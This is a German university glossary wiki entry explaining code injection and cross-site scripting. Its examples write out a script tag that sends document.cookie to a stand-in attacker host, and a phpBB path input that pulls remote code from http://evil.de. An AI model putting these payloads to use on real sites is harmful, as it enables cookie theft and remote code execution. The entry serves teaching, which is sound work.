Code Injection

aus GlossarWiki, der Glossar-Datenbank der Fachhochschule Augsburg
Wechseln zu:Navigation, Suche
Dieser Artikel erfüllt die GlossarWiki-Qualitätsanforderungen nur eingeschränkt:
  ★★☆☆☆ Korrektheit: teilweise überprüft
  ★★★★☆ Umfang: einige unwichtige Fakten sollten ergänzt werden
  ★★★★★ Quellenangaben: vollständig vorhanden
  ★★★★★ Quellenqualität: ausgezeichnet
  ★★★★☆ GlossarWiki-Konformität: sehr gut

1 Definition

Codeinjektion wird bei Cross Site Scripting eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also überall dort, wo Benutzer etwas selbstständig eintragen dürfen.

2 Bemerkungen

Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite, weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code verwendet werden.

3 Beispiel: Stehlen eines Cookies

Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit

setcookie("xss" , "This content will be stored in a cookie" );

ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.

Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:

<script>
  document.location="http://www.evilsite.com/evilscript.php?info="+document.cookie;
</script>

Anschließend wird im Browser, der folgende Link angezeigt:

http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

4 Beispiel: Umleitung einer Seite

Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier- oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus Rütten, Glemser (2006) vorgeführt.

Mit der Anweisung

include_once($phpbb_root_path=’common.php’)

wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen, indem man die dynamische Seite mit folgendem Code „fütterte“:

/plugin.php&phpbb_root_path=http://evil.de

Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt wurde.

Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.

5 Gängige Vertreter

6 Quellen

7 Siehe auch